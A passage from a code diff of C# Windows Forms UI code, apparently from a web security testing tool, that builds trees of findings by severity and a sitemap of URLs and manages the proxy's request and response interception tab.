UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes.Add(PR.AffectedHost, PR.AffectedHost); + } + //if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) + if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) + { + //UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); + UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); + } + //UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), Title); + UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), Title); + } + else if (PR.Severity == FindingSeverity.Medium) + { + if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes.ContainsKey(PR.AffectedHost)) + { + UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes.Add(PR.AffectedHost, PR.AffectedHost); + } + //if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) + if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) + { + //UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); + UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); + } + //UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), Title); + UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), Title); + } + else if (PR.Severity == FindingSeverity.Low) + { + if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes.ContainsKey(PR.AffectedHost)) + { + UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes.Add(PR.AffectedHost, PR.AffectedHost); + } + //if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) + if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) + { + //UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); + UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); + } + //UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), Title); + UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), Title); + } + } + else if (PR.Type == FindingType.TestLead) + { + if (!UI.IronTree.Nodes[0].Nodes[1].Nodes.ContainsKey(PR.AffectedHost)) + { + UI.IronTree.Nodes[0].Nodes[1].Nodes.Add(PR.AffectedHost, PR.AffectedHost); + } + //if (!UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) + if (!UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) + { + //UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); + UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); + } + //UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), PR.Title); + UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), PR.Id.ToString()); + } + else if (PR.Type == FindingType.Information) + { + if (!UI.IronTree.Nodes[0].Nodes[2].Nodes.ContainsKey(PR.AffectedHost)) + { + UI.IronTree.Nodes[0].Nodes[2].Nodes.Add(PR.AffectedHost, PR.AffectedHost); + } + //if (!UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) + if (!UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) + { + //UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); + UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); + } + //UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), PR.Title); + UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), PR.Id.ToString()); + } + } + int HighVulnerabilityCount = 0; + foreach (TreeNode HighNode in UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes) + { + int HostHighVulnerabilityCount = 0; + foreach (TreeNode PluginNode in HighNode.Nodes) + { + HostHighVulnerabilityCount = HostHighVulnerabilityCount + PluginNode.Nodes.Count; + if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; + } + HighVulnerabilityCount = HighVulnerabilityCount + HostHighVulnerabilityCount; + if (HostHighVulnerabilityCount > 0) HighNode.Text = HighNode.Name + " (" + HostHighVulnerabilityCount.ToString() + ")"; + } + int MediumVulnerabilityCount = 0; + foreach (TreeNode MediumNode in UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes) + { + int HostMediumVulnerabilityCount = 0; + foreach (TreeNode PluginNode in MediumNode.Nodes) + { + HostMediumVulnerabilityCount = HostMediumVulnerabilityCount + PluginNode.Nodes.Count; + if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; + } + MediumVulnerabilityCount = MediumVulnerabilityCount + HostMediumVulnerabilityCount; + if (HostMediumVulnerabilityCount > 0) MediumNode.Text = MediumNode.Name + " (" + HostMediumVulnerabilityCount.ToString() + ")"; + } + int LowVulnerabilityCount = 0; + foreach (TreeNode LowNode in UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes) + { + int HostLowVulnerabilityCount = 0; + foreach (TreeNode PluginNode in LowNode.Nodes) + { + HostLowVulnerabilityCount = HostLowVulnerabilityCount + PluginNode.Nodes.Count; + if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; + } + LowVulnerabilityCount = LowVulnerabilityCount + HostLowVulnerabilityCount; + if (HostLowVulnerabilityCount > 0) LowNode.Text = LowNode.Name + " (" + HostLowVulnerabilityCount.ToString() + ")"; + } + int VulnerabilityCount = HighVulnerabilityCount + MediumVulnerabilityCount + LowVulnerabilityCount ; + + int TestLeadCount = 0; + foreach (TreeNode TestLeadNode in UI.IronTree.Nodes[0].Nodes[1].Nodes) + { + int HostTestLeadCount = 0; + foreach (TreeNode PluginNode in TestLeadNode.Nodes) + { + HostTestLeadCount = HostTestLeadCount + PluginNode.Nodes.Count; + if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; + } + TestLeadCount = TestLeadCount + HostTestLeadCount; + if (HostTestLeadCount > 0) TestLeadNode.Text = TestLeadNode.Name + " (" + HostTestLeadCount.ToString() + ")"; + } + int InformationCount = 0; + foreach (TreeNode InformationNode in UI.IronTree.Nodes[0].Nodes[2].Nodes) + { + int HostInformationCount = 0; + foreach (TreeNode PluginNode in InformationNode.Nodes) + { + HostInformationCount = HostInformationCount + PluginNode.Nodes.Count; + if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; + } + InformationCount = InformationCount + HostInformationCount; + if (HostInformationCount > 0) InformationNode.Text = InformationNode.Name + " (" + HostInformationCount.ToString() + ")"; + } + + if(HighVulnerabilityCount > 0) UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Text = "High (" + HighVulnerabilityCount.ToString() + ")"; + if(MediumVulnerabilityCount > 0) UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Text = "Medium (" + MediumVulnerabilityCount.ToString() + ")"; + if(LowVulnerabilityCount > 0 ) UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Text = "Low (" + LowVulnerabilityCount.ToString() + ")"; + if (VulnerabilityCount > 0) UI.IronTree.Nodes[0].Nodes[0].Text = "Vulnerabilities (" + VulnerabilityCount.ToString() + ")"; + if(TestLeadCount > 0 ) UI.IronTree.Nodes[0].Nodes[1].Text = "Test Leads (" + TestLeadCount.ToString() + ")"; + if(InformationCount > 0) UI.IronTree.Nodes[0].Nodes[2].Text = "Information (" + InformationCount.ToString() + ")"; + + UI.IronTree.Enabled = true; + UI.IronTree.EndUpdate(); + } + } + + + public delegate void UpdateSitemapTree_d(List> Urls); + public static void UpdateSitemapTree(List> Urls) + { + if (UI.IronTree.InvokeRequired) + { + UpdateSitemapTree_d UST_d = new UpdateSitemapTree_d(UpdateSitemapTree); + UI.Invoke(UST_d, new object[] { Urls }); + } + else + { + if (UI.IronTree == null) return; + + UI.IronTree.BeginUpdate(); + UI.IronTree.Enabled = false; + TreeNode SiteMapNode = UI.IronTree.Nodes[0].Nodes["SiteMap"]; + foreach (List Url in Urls) + { + int KeyLoc = SiteMapNode.Nodes.IndexOfKey(Url[0]); + if (KeyLoc < 0) + { + TreeNode Node = SiteMapNode.Nodes.Add(Url[0], Url[0]); + KeyLoc = Node.Index; + } + UpdateUrlNodesRecursively(SiteMapNode.Nodes[KeyLoc], Url, 1); + } + UI.IronTree.Enabled = true; + UI.IronTree.EndUpdate(); + } + } + + static void UpdateUrlNodesRecursively(TreeNode Node, List Url, int CurrentLevel) + { + if (Url[CurrentLevel] == "") + { + TreeNode EndNode; + if (CurrentLevel == 1) + { + if (!Node.Nodes.ContainsKey("/")) + { + EndNode = Node.Nodes.Add("/", "/"); + } + else + { + EndNode = Node.Nodes["/"]; + } + } + else + { + EndNode = Node; + } + if (Url.Count > CurrentLevel + 1) + { + if (Url[CurrentLevel + 1].Length > 0) + { + UpdateQueryStringToNode(EndNode, Url[CurrentLevel + 1]); + } + } + } + else + { + if (!Node.Nodes.ContainsKey(Url[CurrentLevel])) + { + TreeNode ChildNode = Node.Nodes.Add(Url[CurrentLevel], Url[CurrentLevel]); + CurrentLevel++; + UpdateUrlNodesRecursively(ChildNode, Url, CurrentLevel); + } + else + { + TreeNode ChildNode = Node.Nodes[Url[CurrentLevel]]; + CurrentLevel++; + UpdateUrlNodesRecursively(ChildNode, Url, CurrentLevel); + } + } + } + + static void UpdateQueryStringToNode(TreeNode Node, string QueryString) + { + if (!Node.Nodes.ContainsKey(QueryString)) + { + Node.Nodes.Add(QueryString, QueryString); + } + } + + + internal static bool IsExceptionsNodeSelected() + { + TreeNode Node = UI.IronTree.SelectedNode; + if (Node == null) return false; + if (Node.Level == 2 && Node.Parent.Index == 3) + { + return true; + } + return false; + } + internal static bool IsFindingsNodeSelected() + { + TreeNode Node = UI.IronTree.SelectedNode; + if (Node == null) return false; + if (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 1 || Node.Parent.Parent.Parent.Index == 2)) + { + return true; + } + else if (Node.Level == 5 && Node.Parent.Parent.Parent.Parent.Index == 0) + { + return true; + } + return false; + } + internal static bool IsSiteMapNodeSelected() + { + TreeNode Node = UI.IronTree.SelectedNode; + if (Node == null) return false; + if ((Node.Level > 5) || (Node.Level == 5 && (Node.Parent.Parent.Parent.Parent.Index == 4)) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) + { + return true; + } + return false; + } + + internal static int GetFindingIdFromIronTree() + { + TreeNode Node = UI.IronTree.SelectedNode; + if (Node == null) return -1; + if (IsFindingsNodeSelected()) + { + try + { + return Int32.Parse(Node.Name); + } + catch { } + } + return -1; + } + + internal static Request GetSelectedUrlFromSiteMap() + { + TreeNode Node = UI.IronTree.SelectedNode; + if (Node == null) return null; + if (IsSiteMapNodeSelected()) + { + List UrlPaths = new List(); + string Query = ""; + TreeNode SiteMapNode = Node; + if (SiteMapNode.Text.StartsWith("?")) + { + Query = SiteMapNode.Text; + SiteMapNode = SiteMapNode.Parent; + } + while (SiteMapNode.Level > 2) + { + UrlPaths.Add(SiteMapNode.Text); + SiteMapNode = SiteMapNode.Parent; + } + UrlPaths.Reverse(); + StringBuilder UrlBuilder = new StringBuilder(); + foreach (string Path in UrlPaths) + { + UrlBuilder.Append("/"); UrlBuilder.Append(Path); + } + UrlBuilder.Append(Query); + string BaseUrl = SiteMapNode.Text; + //string Url = UrlBuilder.ToString() + Query; + string Url = UrlBuilder.ToString(); + if (Url == "//") Url = "/"; + if (Url.StartsWith("/")) + Url = Url.TrimStart(new char[]{'/'}); + try + { + return new Request(string.Format("{0}{1}", BaseUrl, Url)); + } + catch { } + //IronUI.UpdateResultsTab(Host, Url); + //return null; + } + + //if (e.Node == null) return; + //if ((e.Node.Level > 5) || (e.Node.Level == 5 && (e.Node.Parent.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 4 && (e.Node.Parent.Parent.Parent.Index == 4)) || (e.Node.Level == 3 && (e.Node.Parent.Parent.Index == 4)) || (e.Node.Level == 2 && (e.Node.Parent.Index == 4))) + //{ + // List UrlPaths = new List(); + // string Query = ""; + // TreeNode SiteMapNode = e.Node; + // if (SiteMapNode.Text.StartsWith("?")) + // { + // Query = SiteMapNode.Text; + // SiteMapNode = SiteMapNode.Parent; + // } + // while (SiteMapNode.Level > 2) + // { + // UrlPaths.Add(SiteMapNode.Text); + // SiteMapNode = SiteMapNode.Parent; + // } + // UrlPaths.Reverse(); + // StringBuilder UrlPathBuilder = new StringBuilder(); + // foreach (string Path in UrlPaths) + // { + // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); + // } + // string Host = SiteMapNode.Text; + // string Url = UrlPathBuilder.ToString() + Query; + // if (Url == "//") Url = "/"; + // IronUI.UpdateResultsTab(Host, Url); + // return; + //} + + //if (UI.IronTree.SelectedNode == null) return ""; + //TreeNode Node = UI.IronTree.SelectedNode; + //if ((Node.Level > 4) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) + //{ + // List UrlPaths = new List(); + // string Query = ""; + // TreeNode SiteMapNode = Node; + // if (SiteMapNode.Text.StartsWith("?")) + // { + // Query = SiteMapNode.Text; + // SiteMapNode = SiteMapNode.Parent; + // } + // while (SiteMapNode.Level > 2) + // { + // UrlPaths.Add(SiteMapNode.Text); + // SiteMapNode = SiteMapNode.Parent; + // } + // UrlPaths.Reverse(); + // StringBuilder UrlPathBuilder = new StringBuilder(); + // foreach (string Path in UrlPaths) + // { + // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); + // } + // string BaseUrl = SiteMapNode.Text; + // string Url = UrlPathBuilder.ToString();// +Query; + // if (Url.StartsWith("/")) + // { + // Url.TrimStart(new char[]{'/'}); + // } + // return string.Format("{0}{1}", BaseUrl, Url); + //} + //return ""; + return null; + } + + delegate void SendSessionToProxy_d(Session IrSe); + internal static void SendSessionToProxy(Session IrSe) + { + if (UI.ProxyInterceptTabs.InvokeRequired) + { + SendSessionToProxy_d sstp_d = new SendSessionToProxy_d(SendSessionToProxy); + UI.Invoke(sstp_d, new object[] { IrSe }); + } + else + { + if (IronProxy.ManualTamperingFree) + { + FillInterceptorTab(IrSe); + if (!UI.main_tab.SelectedTab.Name.Equals("mt_proxy")) UI.main_tab.SelectTab("mt_proxy"); + MakeUiTopMost(true); + } + else + { + string ID = IrSe.ID.ToString(); + if (IrSe.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) + { + ID = ID + "-Request"; + } + else + { + ID = ID + "-Response"; + } + lock (IronProxy.SessionsQ) + { + IronProxy.SessionsQ.Enqueue(ID); + } + } + } + } + internal static void FillInterceptorTab(Session IrSe) + { + IronProxy.ManualTamperingFree = false; + IronProxy.CurrentSession = IrSe; + ResetProxyInterceptionFields(); + + if (IrSe.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) + { + UI.ProxyInterceptTabs.SelectedIndex = 0; + IronProxy.CurrentSession.OriginalRequest = IrSe.Request.GetClone(true); + FillProxyFields(IrSe.Request); + MakeProxyRequestFieldsReadOnly(false); + } + else + { + UI.ProxyInterceptTabs.SelectedIndex = 1; + IronProxy.CurrentSession.OriginalResponse = IrSe.Response.GetClone(true); + FillProxyFields(IrSe.Response, IrSe.Request); + FillProxyFields(IrSe.Request); + MakeProxyResponseFieldsReadOnly(false); + } + IronProxy.ResetChangedStatus(); + UI.ProxyBaseSplit.Panel1.BackColor = Color.SkyBlue; + UI.ProxySendBtn.Enabled = true; + UI.ProxyDropBtn.Enabled = true; + } + + internal static void FillProxyFields(Request Req) + { + UI.ProxyRequestView.SetRequest(Req); + //FillProxyRequestHeaderFields(Request); + //UI.ProxyRequestHeadersIDV.ReadOnly = false; + //UI.ProxyRequestBodyIDV.ReadOnly = false; + //if (Request.HasBody) + //{ + // FillProxyRequestBodyFields(Request); + //} + //FillProxyParametersFields(Request); + //UI.ProxyRequestParametersQueryGrid.Columns[1].ReadOnly = false; + //UI.ProxyRequestParametersBodyGrid.Columns[1].ReadOnly = false; + //UI.ProxyRequestParametersCookieGrid.Columns[1].ReadOnly = false; + //UI.ProxyRequestParametersHeadersGrid.Columns[1].ReadOnly = false; + } + + //internal static void FillProxyRequestHeaderFields(Request Request) + //{ + // UI.ProxyRequestHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL(); + //} + + //internal static void FillProxyRequestBodyFields(Request Request) + //{ + // if (Request.IsBinary) + // { + // UI.ProxyRequestBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); + // UI.ProxyRequestBodyIDV.ReadOnly = true; + // } + // else + // { + // UI.ProxyRequestBodyIDV.Text = Request.BodyString; + // } + //} + + //internal static void FillProxyParametersFields(Request Request) + //{ + // UI.ProxyRequestParametersQueryGrid.Rows.Clear(); + // foreach (string Name in Request.Query.GetNames()) + // { + // foreach (string Value in Request.Query.GetAll(Name)) + // { + // UI.ProxyRequestParametersQueryGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.ProxyRequestParametersBodyGrid.Rows.Clear(); + // foreach (string Name in Request.Body.GetNames()) + // { + // foreach (string Value in Request.Body.GetAll(Name)) + // { + // UI.ProxyRequestParametersBodyGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.ProxyRequestParametersCookieGrid.Rows.Clear(); + // foreach (string Name in Request.Cookie.GetNames()) + // { + // foreach (string Value in Request.Cookie.GetAll(Name)) + // { + // UI.ProxyRequestParametersCookieGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.ProxyRequestParametersHeadersGrid.Rows.Clear(); + // foreach (string Name in Request.Headers.GetNames()) + // { + // if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) + // { + // foreach (string Value in Request.Headers.GetAll(Name)) + // { + // UI.ProxyRequestParametersHeadersGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // } + //} + + delegate void ShowProxyException_d(string Message); + internal static void ShowProxyException(string Message) + { + if (UI.ProxyExceptionTB.InvokeRequired) + { + ShowProxyException_d SPE_d = new ShowProxyException_d(ShowProxyException); + UI.Invoke(SPE_d, new object[] { Message }); + } + else + { + UI.ProxyExceptionTB.Text = Message; + UI.ProxyExceptionTB.Visible = true; + } + } + + internal static void ResetProxyException() + { + UI.ProxyExceptionTB.Text = ""; + UI.ProxyExceptionTB.Visible = false; + } + + //internal static void UpdateProxyHeaderFieldsWithUIQueryParameters() + //{ + // IronProxy.CurrentSession.Request.Query.RemoveAll(); + // foreach (DataGridViewRow Row in UI.ProxyRequestParametersQueryGrid.Rows) + // { + // IronProxy.CurrentSession.Request.Query.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // FillProxyRequestHeaderFields(IronProxy.CurrentSession.Request); + //} + //internal static void UpdateProxyBodyFieldsWithUIBodyParameters() + //{ + // IronProxy.CurrentSession.Request.Body.RemoveAll(); + // foreach (DataGridViewRow Row in UI.ProxyRequestParametersBodyGrid.Rows) + // { + // IronProxy.CurrentSession.Request.Body.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // FillProxyRequestBodyFields(IronProxy.CurrentSession.Request); + //} + //internal static void UpdateProxyHeaderFieldsWithUICookieParameters() + //{ + // IronProxy.CurrentSession.Request.Cookie.RemoveAll(); + // foreach (DataGridViewRow Row in UI.ProxyRequestParametersCookieGrid.Rows) + // { + // IronProxy.CurrentSession.Request.Cookie.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // FillProxyRequestHeaderFields(IronProxy.CurrentSession.Request); + //} + //internal static void UpdateProxyHeaderFieldsWithUIHeadersParameters() + //{ + // Parameters TempHolder = new Parameters(); + // if (IronProxy.CurrentSession.Request.Headers.Has("Host")) + // { + // TempHolder.Set("Host", IronProxy.CurrentSession.Request.Headers.Get("Host")); + // } + // if (IronProxy.CurrentSession.Request.Headers.Has("Cookie")) + // { + // TempHolder.Set("Cookie", IronProxy.CurrentSession.Request.Headers.Get("Cookie")); + // } + // IronProxy.CurrentSession.Request.Headers.RemoveAll(); + // foreach (DataGridViewRow Row in UI.ProxyRequestParametersHeadersGrid.Rows) + // { + // IronProxy.CurrentSession.Request.Headers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // foreach (string Name in TempHolder.GetNames()) + // { + // IronProxy.CurrentSession.Request.Headers.Set(Name, TempHolder.Get(Name)); + // } + // FillProxyRequestHeaderFields(IronProxy.CurrentSession.Request); + //} + + //internal static void HandleAnyChangesInRequest() + //{ + // if (IronProxy.RequestHeaderChanged) + // { + // IronProxy.UpdateCurrentSessionWithNewRequestHeader(UI.ProxyRequestHeadersIDV.Text); + // IronUI.FillProxyParametersFields(IronProxy.CurrentSession.Request); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + // if (IronProxy.RequestBodyChanged) + // { + // IronProxy.UpdateCurrentSessionWithNewRequestBodyText(UI.ProxyRequestBodyIDV.Text); + // IronUI.FillProxyParametersFields(IronProxy.CurrentSession.Request); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + // if (IronProxy.RequestQueryParametersChanged) + // { + // UpdateProxyHeaderFieldsWithUIQueryParameters(); + // IronProxy.UpdateFiddlerSessionWithNewRequestHeader(); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + // if (IronProxy.RequestBodyParametersChanged) + // { + // UpdateProxyBodyFieldsWithUIBodyParameters(); + // IronProxy.UpdateFiddlerSessionWithNewRequestBody(); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + // if (IronProxy.RequestCookieParametersChanged) + // { + // UpdateProxyHeaderFieldsWithUICookieParameters(); + // IronProxy.UpdateFiddlerSessionWithNewRequestHeader(); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + // if (IronProxy.RequestHeaderParametersChanged) + // { + // UpdateProxyHeaderFieldsWithUIHeadersParameters(); + // IronProxy.UpdateFiddlerSessionWithNewRequestHeader(); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + //} + + internal static void FillProxyFields(Response Res, Request Req) + { + UI.ProxyResponseView.SetResponse(Res, Req); + //UI.ProxyResponseHeadersIDV.Text = Response.GetHeadersAsString(); + //UI.ProxyResponseHeadersIDV.ReadOnly = false; + //UI.ProxyResponseBodyIDV.ReadOnly = false; + //if (Response.HasBody) + //{ + // if (Response.IsBinary) + // { + // UI.ProxyResponseBodyIDV.Text = Encoding.UTF8.GetString(Response.BodyArray); + // UI.ProxyResponseBodyIDV.ReadOnly = true; + // } + // else + // { + // UI.ProxyResponseBodyIDV.Text = Response.BodyString; + // } + //} + } + + //internal static void HandleAnyChangesInResponse() + //{ + // if (IronProxy.ResponseHeaderChanged) + // { + // IronProxy.UpdateCurrentSessionWithNewResponseHeader(UI.ProxyResponseHeadersIDV.Text); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + // if (IronProxy.ResponseBodyChanged) + // { + // IronProxy.UpdateCurrentSessionWithNewResponseBodyText(UI.ProxyResponseBodyIDV.Text); + // IronProxy.ResetNonParameterChangedStatus(); + // IronProxy.ResetParametersChangedStatus(); + // } + //} + + //delegate void FillProxyRequestFormatXML_d(string XML); + //internal static void FillProxyRequestFormatXML(string XML) + //{ + // if (UI.ProxyRequestFormatXMLTB.InvokeRequired) + // { + // FillProxyRequestFormatXML_d FPRFX_d = new FillProxyRequestFormatXML_d(FillProxyRequestFormatXML); + // UI.Invoke(FPRFX_d, new object[] { XML }); + // } + // else + // { + // UI.ProxyRequestFormatXMLTB.Text = XML; + // UI.ProxyRequestFormatXMLTB.ReadOnly = false; + // } + //} + + //delegate void FillProxyRequestWithNewRequestFromFormatXML_d(Request Request, string PluginName); + //internal static void FillProxyRequestWithNewRequestFromFormatXML(Request Request, string PluginName) + //{ + // if (UI.ProxyRequestFormatXMLTB.InvokeRequired) + // { + // FillProxyRequestWithNewRequestFromFormatXML_d FPRWNRFFX_d = new FillProxyRequestWithNewRequestFromFormatXML_d(FillProxyRequestWithNewRequestFromFormatXML); + // UI.Invoke(FPRWNRFFX_d, new object[] { Request, PluginName }); + // } + // else + // { + // try + // { + // ResetProxyRequestDisplayFields(); + // FillProxyFields(Request); + // IronProxy.ResetChangedStatus(); + // IronProxy.RequestChanged = true;//only then the edited request will be updated in the logs + // } + // catch (Exception Exp) + // { + // IronException.Report("Error displaying Updated 'Proxy' Request from Serializing XML using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowMTException("Error displaying updated Request"); + // } + // } + //} + + //delegate void FillProxyResponseFormatXML_d(string XML); + //internal static void FillProxyResponseFormatXML(string XML) + //{ + // if (UI.ProxyResponseFormatXMLTB.InvokeRequired) + // { + // FillProxyResponseFormatXML_d FPRFX_d = new FillProxyResponseFormatXML_d(FillProxyResponseFormatXML); + // UI.Invoke(FPRFX_d, new object[] { XML }); + // } + // else + // { + // UI.ProxyResponseFormatXMLTB.Text = XML; + // UI.ProxyResponseFormatXMLTB.ReadOnly = false; + // } + //} + + //delegate void FillProxyResponseWithNewResponseFromFormatXML_d(Response Response, string PluginName); + //internal static void FillProxyResponseWithNewResponseFromFormatXML(Response Response, string PluginName) + //{ + // if (UI.ProxyResponseFormatXMLTB.InvokeRequired) + // { + // FillProxyResponseWithNewResponseFromFormatXML_d FPRWNRFFX_d = new FillProxyResponseWithNewResponseFromFormatXML_d(FillProxyResponseWithNewResponseFromFormatXML); + // UI.Invoke(FPRWNRFFX_d, new object[] { Response, PluginName }); + // } + // else + // { + // try + // { + // ResetProxyResponseDisplayFields(); + // FillProxyFields(Response); + // IronProxy.ResetChangedStatus(); + // IronProxy.ResponseChanged = true;//only then the edited response will be updated in the logs + // } + // catch (Exception Exp) + // { + // IronException.Report("Error displaying Updated 'Proxy' Request from Serializing XML using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowMTException("Error displaying updated Request"); + // } + // } + //} + + + internal static void ResetProxyInterceptionFields() + { + ResetProxyRequestDisplayFields(); + ResetProxyResponseDisplayFields(); + MakeProxyFieldsReadOnly(true); + ResetProxyException(); + } + + internal static void ResetProxyRequestDisplayFields() + { + //UI.ProxyRequestHeadersIDV.Text = ""; + //UI.ProxyRequestBodyIDV.Text = ""; + //UI.ProxyRequestParametersQueryGrid.Rows.Clear(); + //UI.ProxyRequestParametersBodyGrid.Rows.Clear(); + //UI.ProxyRequestParametersCookieGrid.Rows.Clear(); + //UI.ProxyRequestParametersHeadersGrid.Rows.Clear(); + UI.ProxyShowOriginalRequestCB.Checked = false; + //UI.ProxyRequestFormatXMLTB.Text = ""; + UI.ProxyRequestView.ClearRequest(); + } + + internal static void ResetProxyResponseDisplayFields() + { + UI.ProxyResponseView.ClearResponse(); + //UI.ProxyResponseHeadersIDV.Text = ""; + //UI.ProxyResponseBodyIDV.Text = ""; + UI.ProxyShowOriginalResponseCB.Checked = false; + //UI.ProxyResponseFormatXMLTB.Text = ""; + } + + internal static void MakeProxyFieldsReadOnly(bool ReadOnly) + { + MakeProxyRequestFieldsReadOnly(ReadOnly); + MakeProxyResponseFieldsReadOnly(ReadOnly); + } + + internal static void MakeProxyRequestFieldsReadOnly(bool ReadOnly) + { + UI.ProxyRequestView.SetReadOnly(ReadOnly); + 